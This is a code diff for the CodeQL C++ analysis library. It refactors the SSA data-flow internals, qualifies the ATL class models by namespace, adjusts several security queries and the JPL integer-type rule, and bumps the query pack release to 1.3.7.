-  predicate ssaDefReachesReadExt(SourceVariable v, DefinitionExt def, IRBlock bb, int i) {
-    SsaImpl::ssaDefReachesReadExt(v, def, bb, i)
+  predicate phiHasInputFromBlock(PhiNode phi, Definition inp, IRBlock bb) {
+    SsaImpl::phiHasInputFromBlock(phi, inp, bb)
   }
 
   predicate variableRead = SsaInput::variableRead/4;
@@ -1080,14 +934,14 @@ module SsaCached {
 }
 
 /** Gets the `DefImpl` corresponding to `def`. */
-private DefImpl getDefImpl(SsaImpl::DefinitionExt def) {
+private DefImpl getDefImpl(SsaImpl::Definition def) {
   exists(SourceVariable sv, IRBlock bb, int i |
-    def.definesAt(sv, bb, i, _) and
+    def.definesAt(sv, bb, i) and
     result.hasIndexInBlock(bb, i, sv)
   )
 }
 
-class GlobalDef extends DefinitionExt {
+class GlobalDef extends Definition {
   GlobalDefImpl impl;
 
   GlobalDef() { impl = getDefImpl(this) }
@@ -1101,51 +955,167 @@ class GlobalDef extends DefinitionExt {
 
 private module SsaImpl = SsaImplCommon::Make<Location, SsaInput>;
 
-/**
- * An static single assignment (SSA) phi node.
- *
- * This is either a normal phi node or a phi-read node.
- */
-class PhiNode extends SsaImpl::DefinitionExt {
-  PhiNode() {
-    this instanceof SsaImpl::PhiNode or
-    this instanceof SsaImpl::PhiReadNode
+private module DataFlowIntegrationInput implements SsaImpl::DataFlowIntegrationInputSig {
+  class Expr extends Instruction {
+    Expr() {
+      exists(IRBlock bb, int i |
+        variableRead(bb, i, _, true) and
+        this = bb.getInstruction(i)
+      )
+    }
+
+    predicate hasCfgNode(SsaInput::BasicBlock bb, int i) { bb.getInstruction(i) = this }
   }
 
-  /**
-   * Holds if this phi node is a phi-read node.
-   *
-   * Phi-read nodes are like normal phi nodes, but they are inserted based
-   * on reads instead of writes.
-   */
-  predicate isPhiRead() { this instanceof SsaImpl::PhiReadNode }
+  Expr getARead(SsaImpl::Definition def) {
+    exists(SourceVariable v, IRBlock bb, int i |
+      ssaDefReachesRead(v, def, bb, i) and
+      variableRead(bb, i, v, true) and
+      result.hasCfgNode(bb, i)
+    )
+  }
 
-  /**
-   * Holds if the node at index `i` in `bb` is a last reference to SSA
-   * definition `def` of `sv`. The reference is last because it can reach
-   * this phi node, without passing through another read or write.
-   *
-   * The path from node `i` in `bb` to this phi node goes via basic block
-   * `input`, which is either a predecessor of the basic block of this phi
-   * node, or `input` = `bb` in case this phi node occurs in basic block `bb`.
-   */
-  predicate hasInputFromBlock(DefinitionExt def, SourceVariable sv, IRBlock bb, int i, IRBlock input) {
-    SsaCached::lastRefRedefExt(def, sv, bb, i, input, this)
+  predicate ssaDefHasSource(SsaImpl::WriteDefinition def) { none() }
+
+  predicate allowFlowIntoUncertainDef(SsaImpl::UncertainWriteDefinition def) { any() }
+
+  private EdgeKind getConditionalEdge(boolean branch) {
+    branch = true and
+    result instanceof TrueEdge
+    or
+    branch = false and
+    result instanceof FalseEdge
+  }
+
+  class Guard instanceof IRGuards::IRGuardCondition {
+    string toString() { result = super.toString() }
+
+    predicate controlsBranchEdge(SsaInput::BasicBlock bb1, SsaInput::BasicBlock bb2, boolean branch) {
+      exists(EdgeKind kind |
+        super.getBlock() = bb1 and
+        kind = getConditionalEdge(branch) and
+        bb1.getSuccessor(kind) = bb2
+      )
+    }
+  }
+
+  predicate guardDirectlyControlsBlock(Guard guard, SsaInput::BasicBlock bb, boolean branch) {
+    guard.(IRGuards::IRGuardCondition).controls(bb, branch)
+  }
+
+  predicate keepAllPhiInputBackEdges() { any() }
+}
+
+private module DataFlowIntegrationImpl = SsaImpl::DataFlowIntegration<DataFlowIntegrationInput>;
+
+class SynthNode extends DataFlowIntegrationImpl::SsaNode {
+  SynthNode() { not this.asDefinition() instanceof SsaImpl::WriteDefinition }
+}
+
+signature predicate guardChecksNodeSig(IRGuards::IRGuardCondition g, Node e, boolean branch);
+
+signature predicate guardChecksNodeSig(
+  IRGuards::IRGuardCondition g, Node e, boolean branch, int indirectionIndex
+);
+
+module BarrierGuardWithIntParam<guardChecksNodeSig/4 guardChecksNode> {
+  private predicate ssaDefReachesCertainUse(Definition def, UseImpl use) {
+    exists(SourceVariable v, IRBlock bb, int i |
+      use.hasIndexInBlock(bb, i, v) and
+      variableRead(bb, i, v, true) and
+      ssaDefReachesRead(v, def, bb, i)
+    )
   }
 
+  private predicate guardChecks(
+    DataFlowIntegrationInput::Guard g, SsaImpl::Definition def, boolean branch, int indirectionIndex
+  ) {
+    exists(UseImpl use |
+      guardChecksNode(g, use.getNode(), branch, indirectionIndex) and
+      ssaDefReachesCertainUse(def, use)
+    )
+  }
+
+  Node getABarrierNode(int indirectionIndex) {
+    // Only get the SynthNodes from the shared implementation, as the ExprNodes cannot
+    // be matched on SourceVariable.
+    result.(SsaSynthNode).getSynthNode() =
+      DataFlowIntegrationImpl::BarrierGuardDefWithState<int, guardChecks/4>::getABarrierNode(indirectionIndex)
+    or
+    // Calculate the guarded UseImpls corresponding to ExprNodes directly.
+    exists(DataFlowIntegrationInput::Guard g, boolean branch, Definition def, IRBlock bb |
+      guardChecks(g, def, branch, indirectionIndex) and
+      exists(UseImpl use |
+        ssaDefReachesCertainUse(def, use) and
+        use.getBlock() = bb and
+        DataFlowIntegrationInput::guardControlsBlock(g, bb, branch) and
+        result = use.getNode()
+      )
+    )
+  }
+}
+
+module BarrierGuard<guardChecksNodeSig/3 guardChecksNode> {
+  private predicate guardChecksNode(
+    IRGuards::IRGuardCondition g, Node e, boolean branch, int indirectionIndex
+  ) {
+    guardChecksNode(g, e, branch) and indirectionIndex = 0
+  }
+
+  Node getABarrierNode() {
+    result = BarrierGuardWithIntParam<guardChecksNode/4>::getABarrierNode(0)
+  }
+}
+
+bindingset[result, v]
+pragma[inline_late]
+DataFlowIntegrationImpl::Node fromDfNode(Node n, SourceVariable v) {
+  result = n.(SsaSynthNode).getSynthNode()
+  or
+  exists(UseImpl use, IRBlock bb, int i |
+    result.(DataFlowIntegrationImpl::ExprNode).getExpr().hasCfgNode(bb, i) and
+    use.hasIndexInBlock(bb, i, v) and
+    use.isCertain() and
+    use.getNode() = n
+  )
+  or
+  defToNode(n, result.(DataFlowIntegrationImpl::SsaDefinitionNode).getDefinition())
+}
+
+private predicate ssaFlowImpl(Node nodeFrom, Node nodeTo) {
+  exists(SourceVariable v |
+    nodeFrom != nodeTo and
+    DataFlowIntegrationImpl::localFlowStep(v, fromDfNode(nodeFrom, v), fromDfNode(nodeTo, v), _)
+  )
+}
+
+/** Holds if there is def-use or use-use flow from `nodeFrom` to `nodeTo`. */
+predicate ssaFlow(Node nodeFrom, Node nodeTo) {
+  postUpdateFlow(nodeFrom, nodeTo)
+  or
+  ssaFlowImpl(nodeFrom, nodeTo) and
+  not modeledFlowBarrier(nodeFrom)
+}
+
+/**
+ * An static single assignment (SSA) phi node.
+ */
+class PhiNode extends Definition instanceof SsaImpl::PhiNode {
   /** Gets a definition that is an input to this phi node. */
-  final DefinitionExt getAnInput() { this.hasInputFromBlock(result, _, _, _, _) }
+  final Definition getAnInput() { phiHasInputFromBlock(this, result, _) }
 }
 
 /** An static single assignment (SSA) definition. */
-class DefinitionExt extends SsaImpl::DefinitionExt {
-  private DefinitionExt getAPhiInputOrPriorDefinition() { result = this.(PhiNode).getAnInput() }
+class Definition extends SsaImpl::Definition {
+  // TODO: Include prior definitions of uncertain writes or rename predicate
+  // i.e. the disjunct `SsaImpl::uncertainWriteDefinitionInput(this, result)`
+  private Definition getAPhiInputOrPriorDefinition() { result = this.(PhiNode).getAnInput() }
 
   /**
    * Gets a definition that ultimately defines this SSA definition and is
    * not itself a phi node.
    */
-  final DefinitionExt getAnUltimateDefinition() {
+  final Definition getAnUltimateDefinition() {
     result = this.getAPhiInputOrPriorDefinition*() and
     not result instanceof PhiNode
   }
@@ -1180,16 +1150,6 @@ class DefinitionExt extends SsaImpl::DefinitionExt {
 
   /** Gets the unspecified type of the variable being defined by this definition. */
   Type getUnspecifiedType() { result = this.getUnderlyingType().getUnspecifiedType() }
-
-  /** Gets a node that represents a read of this SSA definition. */
-  pragma[nomagic]
-  Node getARead() {
-    exists(SourceVariable sv, IRBlock bb, int i | SsaCached::ssaDefReachesReadExt(sv, this, bb, i) |
-      useToNode(bb, i, sv, result)
-      or
-      phiToNode(result, sv, bb, i)
-    )
-  }
 }
 
 import SsaCached
diff --git a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternalsCommon.qll b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternalsCommon.qll
index 5d8a9ebf9a60..617e2be8cc38 100644
--- a/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternalsCommon.qll
+++ b/cpp/ql/lib/semmle/code/cpp/ir/dataflow/internal/SsaInternalsCommon.qll
@@ -630,10 +630,18 @@ private module Cached {
     Operand operand, int indirectionIndex, Operand operandRepr, int indirectionIndexRepr
   ) {
     indirectionIndex = [1 .. countIndirectionsForCppType(getLanguageType(operand))] and
-    exists(Instruction load |
-      isDereference(load, operand, false) and
-      operandRepr = unique( | | getAUse(load)) and
-      indirectionIndexRepr = indirectionIndex - 1
+    (
+      exists(Instruction load |
+        isDereference(load, operand, false) and
+        operandRepr = unique( | | getAUse(load)) and
+        indirectionIndexRepr = indirectionIndex - 1
+      )
+      or
+      exists(CopyValueInstruction copy |
+        copy.getSourceValueOperand() = operand and
+        operandRepr = unique( | | getAUse(copy)) and
+        indirectionIndexRepr = indirectionIndex
+      )
     )
   }
 
@@ -649,11 +657,19 @@ private module Cached {
     Instruction instr, int indirectionIndex, Instruction instrRepr, int indirectionIndexRepr
   ) {
     indirectionIndex = [1 .. countIndirectionsForCppType(getResultLanguageType(instr))] and
-    exists(Instruction load, Operand address |
-      address = unique( | | getAUse(instr)) and
-      isDereference(load, address, false) and
-      instrRepr = load and
-      indirectionIndexRepr = indirectionIndex - 1
+    (
+      exists(Instruction load, Operand address |
+        address = unique( | | getAUse(instr)) and
+        isDereference(load, address, false) and
+        instrRepr = load and
+        indirectionIndexRepr = indirectionIndex - 1
+      )
+      or
+      exists(CopyValueInstruction copy |
+        copy.getSourceValueOperand() = unique( | | getAUse(instr)) and
+        instrRepr = copy and
+        indirectionIndexRepr = indirectionIndex
+      )
     )
   }
 
diff --git a/cpp/ql/lib/semmle/code/cpp/models/implementations/CA2AEX.qll b/cpp/ql/lib/semmle/code/cpp/models/implementations/CA2AEX.qll
index 595b6e3bb3eb..e1f77c957579 100644
--- a/cpp/ql/lib/semmle/code/cpp/models/implementations/CA2AEX.qll
+++ b/cpp/ql/lib/semmle/code/cpp/models/implementations/CA2AEX.qll
@@ -6,7 +6,7 @@ private import semmle.code.cpp.dataflow.new.DataFlow
  * The `CA2AEX` (and related) classes from the Windows Active Template library.
  */
 class Ca2Aex extends Class {
-  Ca2Aex() { this.hasGlobalName(["CA2AEX", "CA2CAEX", "CA2WEX"]) }
+  Ca2Aex() { this.hasQualifiedName("ATL", ["CA2AEX", "CA2CAEX", "CA2WEX"]) }
 }
 
 private class Ca2AexTaintInheritingContent extends TaintInheritingContent, DataFlow::FieldContent {
diff --git a/cpp/ql/lib/semmle/code/cpp/models/implementations/CAtlFile.qll b/cpp/ql/lib/semmle/code/cpp/models/implementations/CAtlFile.qll
index 6c01a29c539d..bfb46a1d946a 100644
--- a/cpp/ql/lib/semmle/code/cpp/models/implementations/CAtlFile.qll
+++ b/cpp/ql/lib/semmle/code/cpp/models/implementations/CAtlFile.qll
@@ -4,7 +4,7 @@ import semmle.code.cpp.models.interfaces.FlowSource
  * The `CAtlFile` class from Microsoft's Active Template Library.
  */
 class CAtlFile extends Class {
-  CAtlFile() { this.hasGlobalName("CAtlFile") }
+  CAtlFile() { this.hasQualifiedName("ATL", "CAtlFile") }
 }
 
 private class CAtlFileRead extends MemberFunction, LocalFlowSourceFunction {
diff --git a/cpp/ql/lib/semmle/code/cpp/models/implementations/CAtlFileMapping.qll b/cpp/ql/lib/semmle/code/cpp/models/implementations/CAtlFileMapping.qll
index 85dae06806fb..be0cf4c1be74 100644
--- a/cpp/ql/lib/semmle/code/cpp/models/implementations/CAtlFileMapping.qll
+++ b/cpp/ql/lib/semmle/code/cpp/models/implementations/CAtlFileMapping.qll
@@ -4,14 +4,14 @@ import semmle.code.cpp.models.interfaces.FlowSource
  * The `CAtlFileMapping` class from Microsoft's Active Template Library.
  */
 class CAtlFileMapping extends Class {
-  CAtlFileMapping() { this.hasGlobalName("CAtlFileMapping") }
+  CAtlFileMapping() { this.hasQualifiedName("ATL", "CAtlFileMapping") }
 }
 
 /**
  * The `CAtlFileMappingBase` class from Microsoft's Active Template Library.
  */
 class CAtlFileMappingBase extends Class {
-  CAtlFileMappingBase() { this.hasGlobalName("CAtlFileMappingBase") }
+  CAtlFileMappingBase() { this.hasQualifiedName("ATL", "CAtlFileMappingBase") }
 }
 
 private class CAtlFileMappingBaseGetData extends MemberFunction, LocalFlowSourceFunction {
diff --git a/cpp/ql/lib/semmle/code/cpp/models/implementations/CAtlTemporaryFile.qll b/cpp/ql/lib/semmle/code/cpp/models/implementations/CAtlTemporaryFile.qll
index cc3a36d0fbd7..631223acb668 100644
--- a/cpp/ql/lib/semmle/code/cpp/models/implementations/CAtlTemporaryFile.qll
+++ b/cpp/ql/lib/semmle/code/cpp/models/implementations/CAtlTemporaryFile.qll
@@ -4,7 +4,7 @@ import semmle.code.cpp.models.interfaces.FlowSource
  * The `CAtlFile` class from Microsoft's Active Template Library.
  */
 class CAtlTemporaryFile extends Class {
-  CAtlTemporaryFile() { this.hasGlobalName("CAtlTemporaryFile") }
+  CAtlTemporaryFile() { this.hasQualifiedName("ATL", "CAtlTemporaryFile") }
 }
 
 private class CAtlTemporaryFileRead extends MemberFunction, LocalFlowSourceFunction {
diff --git a/cpp/ql/lib/semmle/code/cpp/models/implementations/CComBSTR.qll b/cpp/ql/lib/semmle/code/cpp/models/implementations/CComBSTR.qll
index 55d18a52ae45..3580886c4d5a 100644
--- a/cpp/ql/lib/semmle/code/cpp/models/implementations/CComBSTR.qll
+++ b/cpp/ql/lib/semmle/code/cpp/models/implementations/CComBSTR.qll
@@ -4,7 +4,7 @@ private import semmle.code.cpp.dataflow.new.DataFlow
 
 /** The `CComBSTR` class from the Microsoft "Active Template Library". */
 class CcomBstr extends Class {
-  CcomBstr() { this.hasGlobalName("CComBSTR") }
+  CcomBstr() { this.hasQualifiedName("ATL", "CComBSTR") }
 }
 
 private class Mstr extends Field {
diff --git a/cpp/ql/lib/semmle/code/cpp/models/implementations/CPathT.qll b/cpp/ql/lib/semmle/code/cpp/models/implementations/CPathT.qll
index b2fe3a363c7c..83be2d833124 100644
--- a/cpp/ql/lib/semmle/code/cpp/models/implementations/CPathT.qll
+++ b/cpp/ql/lib/semmle/code/cpp/models/implementations/CPathT.qll
@@ -4,7 +4,7 @@ private import semmle.code.cpp.dataflow.new.DataFlow
 
 /** The `CPathT` class from the Microsoft "Active Template Library". */
 class CPathT extends Class {
-  CPathT() { this.hasGlobalName("CPathT") }
+  CPathT() { this.hasQualifiedName("ATL", "CPathT") }
 }
 
 private class MStrPath extends Field {
diff --git a/cpp/ql/lib/semmle/code/cpp/models/implementations/CRegKey.qll b/cpp/ql/lib/semmle/code/cpp/models/implementations/CRegKey.qll
index e6d1a5ba09ec..db40acb22767 100644
--- a/cpp/ql/lib/semmle/code/cpp/models/implementations/CRegKey.qll
+++ b/cpp/ql/lib/semmle/code/cpp/models/implementations/CRegKey.qll
@@ -5,7 +5,7 @@ private import semmle.code.cpp.dataflow.new.DataFlow
 
 /** The `CRegKey` class from the Microsoft "Active Template Library". */
 class CRegKey extends Class {
-  CRegKey() { this.hasGlobalName("CRegKey") }
+  CRegKey() { this.hasQualifiedName("ATL", "CRegKey") }
 }
 
 module CRegKey {
diff --git a/cpp/ql/lib/semmle/code/cpp/security/InvalidPointerDereference/AllocationToInvalidPointer.qll b/cpp/ql/lib/semmle/code/cpp/security/InvalidPointerDereference/AllocationToInvalidPointer.qll
index 83017aec3537..223d0abf1d4e 100644
--- a/cpp/ql/lib/semmle/code/cpp/security/InvalidPointerDereference/AllocationToInvalidPointer.qll
+++ b/cpp/ql/lib/semmle/code/cpp/security/InvalidPointerDereference/AllocationToInvalidPointer.qll
@@ -327,9 +327,7 @@ private module Config implements ProductFlow::StateConfigSig {
 
   predicate isBarrierIn1(DataFlow::Node node) { isSourcePair(node, _, _, _) }
 
-  predicate isBarrierOut2(DataFlow::Node node) {
-    node = any(DataFlow::SsaPhiNode phi).getAnInput(true)
-  }
+  predicate isBarrierOut2(DataFlow::Node node) { DataFlow::flowsToBackEdge(node) }
 }
 
 private module AllocToInvalidPointerFlow = ProductFlow::GlobalWithState<Config>;
diff --git a/cpp/ql/lib/semmle/code/cpp/security/InvalidPointerDereference/InvalidPointerToDereference.qll b/cpp/ql/lib/semmle/code/cpp/security/InvalidPointerDereference/InvalidPointerToDereference.qll
index 03369aacade3..f10c6457f795 100644
--- a/cpp/ql/lib/semmle/code/cpp/security/InvalidPointerDereference/InvalidPointerToDereference.qll
+++ b/cpp/ql/lib/semmle/code/cpp/security/InvalidPointerDereference/InvalidPointerToDereference.qll
@@ -203,9 +203,7 @@ private module InvalidPointerToDerefConfig implements DataFlow::StateConfigSig {
 
   predicate isSink(DataFlow::Node sink, FlowState pai) { none() }
 
-  predicate isBarrier(DataFlow::Node node) {
-    node = any(DataFlow::SsaPhiNode phi | not phi.isPhiRead()).getAnInput(true)
-  }
+  predicate isBarrier(DataFlow::Node node) { DataFlow::flowsToBackEdge(node) }
 
   predicate isBarrier(DataFlow::Node node, FlowState pai) {
     // `node = getABarrierNode(pai)` ensures that node < pai, so this node is safe to dereference.
diff --git a/cpp/ql/src/CHANGELOG.md b/cpp/ql/src/CHANGELOG.md
index 36df98d3941c..ab79d5cb46ef 100644
--- a/cpp/ql/src/CHANGELOG.md
+++ b/cpp/ql/src/CHANGELOG.md
@@ -1,3 +1,10 @@
+## 1.3.7
+
+### Minor Analysis Improvements
+
+* Fixed a bug in the models for Microsoft's Active Template Library (ATL).
+* The query "Use of basic integral type" (`cpp/jpl-c/basic-int-types`) no longer produces alerts for the standard fixed width integer types (`int8_t`, `uint8_t`, etc.), and the `_Bool` and `bool` types.
+
 ## 1.3.6
 
 No user-facing changes.
diff --git a/cpp/ql/src/Diagnostics/ExtractionWarnings.ql b/cpp/ql/src/Diagnostics/ExtractionWarnings.ql
index dcfb599bbeb4..f32768734ca0 100644
--- a/cpp/ql/src/Diagnostics/ExtractionWarnings.ql
+++ b/cpp/ql/src/Diagnostics/ExtractionWarnings.ql
@@ -14,5 +14,5 @@ where
   or
   warning instanceof ExtractionUnknownProblem
 select warning,
-  "Extraction failed in " + warning.getFile() + " with warning " + warning.getProblemMessage(),
-  warning.getSeverity()
+  "Extraction failed in " + warning.getFile() + " with warning " +
+    warning.getProblemMessage().replaceAll("$", "$$"), warning.getSeverity()
diff --git a/cpp/ql/src/Diagnostics/Internal/ExtractionErrors.ql b/cpp/ql/src/Diagnostics/Internal/ExtractionErrors.ql
index c7eac620b3b0..9da14fbfb468 100644
--- a/cpp/ql/src/Diagnostics/Internal/ExtractionErrors.ql
+++ b/cpp/ql/src/Diagnostics/Internal/ExtractionErrors.ql
@@ -17,5 +17,6 @@ from ExtractionError error
 where
   error instanceof ExtractionUnknownError or
   exists(error.getFile().getRelativePath())
-select error, "Extraction failed in " + error.getFile() + " with error " + error.getErrorMessage(),
-  error.getSeverity()
+select error,
+  "Extraction failed in " + error.getFile() + " with error " +
+    error.getErrorMessage().replaceAll("$", "$$"), error.getSeverity()
diff --git a/cpp/ql/src/JPL_C/LOC-3/Rule 17/BasicIntTypes.ql b/cpp/ql/src/JPL_C/LOC-3/Rule 17/BasicIntTypes.ql
index 82b7f146554f..16ac18b87cce 100644
--- a/cpp/ql/src/JPL_C/LOC-3/Rule 17/BasicIntTypes.ql	
+++ b/cpp/ql/src/JPL_C/LOC-3/Rule 17/BasicIntTypes.ql	
@@ -12,7 +12,11 @@
 import cpp
 
 predicate allowedTypedefs(TypedefType t) {
-  t.getName() = ["I64", "U64", "I32", "U32", "I16", "U16", "I8", "U8", "F64", "F32"]
+  t.getName() =
+    [
+      "I64", "U64", "I32", "U32", "I16", "U16", "I8", "U8", "F64", "F32", "int64_t", "uint64_t",
+      "int32_t", "uint32_t", "int16_t", "uint16_t", "int8_t", "uint8_t"
+    ]
 }
 
 /**
@@ -46,6 +50,8 @@ from Declaration d, Type usedType
 where
   usedType = getAUsedType*(getAnImmediateUsedType(d)) and
   problematic(usedType) and
+  // Allow uses of boolean types where defined by the language.
+  not usedType instanceof BoolType and
   // Ignore violations for which we do not have a valid location.
   not d.getLocation() instanceof UnknownLocation
 select d,
diff --git a/cpp/ql/src/Likely Bugs/Memory Management/AllocaInLoop.ql b/cpp/ql/src/Likely Bugs/Memory Management/AllocaInLoop.ql
index 587a2ecc6ffb..b4e517b3bab9 100644
--- a/cpp/ql/src/Likely Bugs/Memory Management/AllocaInLoop.ql	
+++ b/cpp/ql/src/Likely Bugs/Memory Management/AllocaInLoop.ql	
@@ -208,8 +208,7 @@ class LoopWithAlloca extends Stmt {
       this.conditionRequiresInequality(va, _, _) and
       DataFlow::localFlow(result, DataFlow::exprNode(va)) and
       // Phi nodes will be preceded by nodes that represent actual definitions
-      not result instanceof DataFlow::SsaPhiNode and
-      not result instanceof DataFlow::SsaPhiInputNode and
+      not result instanceof DataFlow::SsaSynthNode and
       // A source is outside the loop if it's not inside the loop
       not exists(Expr e | e = getExpr(result) | this = getAnEnclosingLoopOfExpr(e))
     )
diff --git a/cpp/ql/src/Metrics/Internal/IncludeResolutionStatus.ql b/cpp/ql/src/Metrics/Internal/IncludeResolutionStatus.ql
new file mode 100644
index 000000000000..e23b3cee8167
--- /dev/null
+++ b/cpp/ql/src/Metrics/Internal/IncludeResolutionStatus.ql
@@ -0,0 +1,20 @@
+/**
+ * @name Include file resolution status
+ * @description Counts unresolved and resolved #includes.
+ *              This query is for internal use only and may change without notice.
+ * @kind table
+ * @id cpp/include-resolution-status
+ */
+
+import cpp
+
+/**
+ * A cannot open file error.
+ *
+ * Typically this is due to a missing include.
+ */
+class CannotOpenFileError extends CompilerError {
+  CannotOpenFileError() { this.hasTag(["cannot_open_file", "cannot_open_file_reason"]) }
+}
+
+select count(CannotOpenFileError e) as failed_includes, count(Include i) as successful_includes
diff --git a/cpp/ql/src/Security/CWE/CWE-079/CgiXss.ql b/cpp/ql/src/Security/CWE/CWE-079/CgiXss.ql
index 812fe236f764..9b27e95fd658 100644
--- a/cpp/ql/src/Security/CWE/CWE-079/CgiXss.ql
+++ b/cpp/ql/src/Security/CWE/CWE-079/CgiXss.ql
@@ -37,7 +37,7 @@ module Config implements DataFlow::ConfigSig {
   predicate isBarrier(DataFlow::Node node) {
     isSink(node) and node.asExpr().getUnspecifiedType() instanceof ArithmeticType
     or
-    node.asInstruction().(StoreInstruction).getResultType() instanceof ArithmeticType
+    node.asCertainDefinition().getUnspecifiedType() instanceof ArithmeticType
   }
 }
 
diff --git a/cpp/ql/src/Security/CWE/CWE-114/UncontrolledProcessOperation.ql b/cpp/ql/src/Security/CWE/CWE-114/UncontrolledProcessOperation.ql
index 9672a830ce06..e5fd1a94f181 100644
--- a/cpp/ql/src/Security/CWE/CWE-114/UncontrolledProcessOperation.ql
+++ b/cpp/ql/src/Security/CWE/CWE-114/UncontrolledProcessOperation.ql
@@ -37,7 +37,7 @@ module Config implements DataFlow::ConfigSig {
   predicate isBarrier(DataFlow::Node node) {
     isSink(node) and node.asExpr().getUnspecifiedType() instanceof ArithmeticType
     or
-    node.asInstruction().(StoreInstruction).getResultType() instanceof ArithmeticType
+    node.asCertainDefinition().getUnspecifiedType() instanceof ArithmeticType
   }
 }
 
diff --git a/cpp/ql/src/Security/CWE/CWE-119/OverrunWriteProductFlow.ql b/cpp/ql/src/Security/CWE/CWE-119/OverrunWriteProductFlow.ql
index 1872234ead20..b193b846b5a8 100644
--- a/cpp/ql/src/Security/CWE/CWE-119/OverrunWriteProductFlow.ql
+++ b/cpp/ql/src/Security/CWE/CWE-119/OverrunWriteProductFlow.ql
@@ -212,9 +212,7 @@ module StringSizeConfig implements ProductFlow::StateConfigSig {
     )
   }
 
-  predicate isBarrierOut2(DataFlow::Node node) {
-    node = any(DataFlow::SsaPhiNode phi).getAnInput(true)
-  }
+  predicate isBarrierOut2(DataFlow::Node node) { DataFlow::flowsToBackEdge(node) }
 
   predicate isAdditionalFlowStep2(
     DataFlow::Node node1, FlowState2 state1, DataFlow::Node node2, FlowState2 state2
diff --git a/cpp/ql/src/Security/CWE/CWE-134/UncontrolledFormatString.ql b/cpp/ql/src/Security/CWE/CWE-134/UncontrolledFormatString.ql
index f4a716765b8a..04b4fe45fcfa 100644
--- a/cpp/ql/src/Security/CWE/CWE-134/UncontrolledFormatString.ql
+++ b/cpp/ql/src/Security/CWE/CWE-134/UncontrolledFormatString.ql
@@ -42,7 +42,7 @@ module Config implements DataFlow::ConfigSig {
   predicate isBarrier(DataFlow::Node node) {
     isSink(node) and isArithmeticNonCharType(node.asExpr().getUnspecifiedType())
     or
-    isArithmeticNonCharType(node.asInstruction().(StoreInstruction).getResultType())
+    isArithmeticNonCharType(node.asCertainDefinition().getUnspecifiedType())
   }
 }
 
diff --git a/cpp/ql/src/Security/CWE/CWE-170/ImproperNullTerminationTainted.ql b/cpp/ql/src/Security/CWE/CWE-170/ImproperNullTerminationTainted.ql
index e1e459c259f1..9b595657fce9 100644
--- a/cpp/ql/src/Security/CWE/CWE-170/ImproperNullTerminationTainted.ql
+++ b/cpp/ql/src/Security/CWE/CWE-170/ImproperNullTerminationTainted.ql
@@ -37,7 +37,7 @@ private module Config implements DataFlow::ConfigSig {
   predicate isBarrier(DataFlow::Node node) {
     isSink(node) and node.asExpr().getUnspecifiedType() instanceof ArithmeticType
     or
-    node.asInstruction().(StoreInstruction).getResultType() instanceof ArithmeticType
+    node.asCertainDefinition().getUnspecifiedType() instanceof ArithmeticType
     or
     mayAddNullTerminator(_, node.asIndirectExpr())
   }
diff --git a/cpp/ql/src/Security/CWE/CWE-190/ArithmeticTainted.ql b/cpp/ql/src/Security/CWE/CWE-190/ArithmeticTainted.ql
index 810039f4e1a4..c9efaf9f6952 100644
--- a/cpp/ql/src/Security/CWE/CWE-190/ArithmeticTainted.ql
+++ b/cpp/ql/src/Security/CWE/CWE-190/ArithmeticTainted.ql
@@ -75,9 +75,11 @@ module Config implements DataFlow::ConfigSig {
   predicate isSink(DataFlow::Node sink) { isSink(sink, _, _) }
 
   predicate isBarrier(DataFlow::Node node) {
-    exists(StoreInstruction store | store = node.asInstruction() |
+    exists(StoreInstruction store, Expr e |
+      store = node.asInstruction() and e = node.asCertainDefinition()
+    |
       // Block flow to "likely small expressions"
-      bounded(store.getSourceValue().getUnconvertedResultExpression())
+      bounded(e)
       or
       // Block flow to "small types"
       store.getResultType().getUnspecifiedType().(IntegralType).getSize() <= 1
diff --git a/cpp/ql/src/change-notes/released/1.3.7.md b/cpp/ql/src/change-notes/released/1.3.7.md
new file mode 100644
index 000000000000..6af01103f083
--- /dev/null
+++ b/cpp/ql/src/change-notes/released/1.3.7.md
@@ -0,0 +1,6 @@
+## 1.3.7
+
+### Minor Analysis Improvements
+
+* Fixed a bug in the models for Microsoft's Active Template Library (ATL).
+* The query "Use of basic integral type" (`cpp/jpl-c/basic-int-types`) no longer produces alerts for the standard fixed width integer types (`int8_t`, `uint8_t`, etc.), and the `_Bool` and `bool` types.
diff --git a/cpp/ql/src/codeql-pack.release.yml b/cpp/ql/src/codeql-pack.release.yml
index 0a0b09863112..2f4b67be43f7 100644
--- a/cpp/ql/src/codeql-pack.release.yml
+++ b/cpp/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.3.6
+lastReleaseVersion: 1.3.7
diff --git a/cpp/ql/src/codeql-suites/cpp-ccr.qls b/cpp/ql/src/codeql-suites/cpp-code-quality.qls
similarity index 100%
rename from cpp/ql/src/codeql-suites/cpp-ccr.qls
rename to cpp/ql/src/codeql-suites/cpp-code-quality.qls
diff --git a/cpp/ql/src/qlpack.yml b/cpp/ql/src/qlpack.yml
index 76506195a1f0..be8212979faf 100644
--- a/cpp/ql/src/qlpack.yml
+++ b/cpp/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/cpp-queries
-version: 1.3.6
+version: 1.3.7
 groups:
   - cpp
   - queries
diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/constant-size/ConstantSizeArrayOffByOne.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/constant-size/ConstantSizeArrayOffByOne.expected
index eb0212153e8e..a9927b510930 100644
--- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/constant-size/ConstantSizeArrayOffByOne.expected
+++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-193/constant-size/ConstantSizeArrayOffByOne.expected
@@ -44,6 +44,7 @@ edges
 | test.cpp:143:18:143:21 | asdf | test.cpp:134:25:134:27 | arr | provenance |  |
 | test.cpp:143:18:143:21 | asdf | test.cpp:143:18:143:21 | asdf | provenance |  |
 | test.cpp:146:26:146:26 | *p | test.cpp:147:4:147:9 | -- ... | provenance |  |
+| test.cpp:146:26:146:26 | *p | test.cpp:147:4:147:9 | -- ... | provenance |  |
 | test.cpp:154:7:154:9 | definition of buf | test.cpp:156:12:156:18 | ... + ... | provenance | Config |
 | test.cpp:156:12:156:14 | buf | test.cpp:156:12:156:18 | ... + ... | provenance | Config |
 | test.cpp:156:12:156:18 | ... + ... | test.cpp:156:12:156:18 | ... + ... | provenance |  |
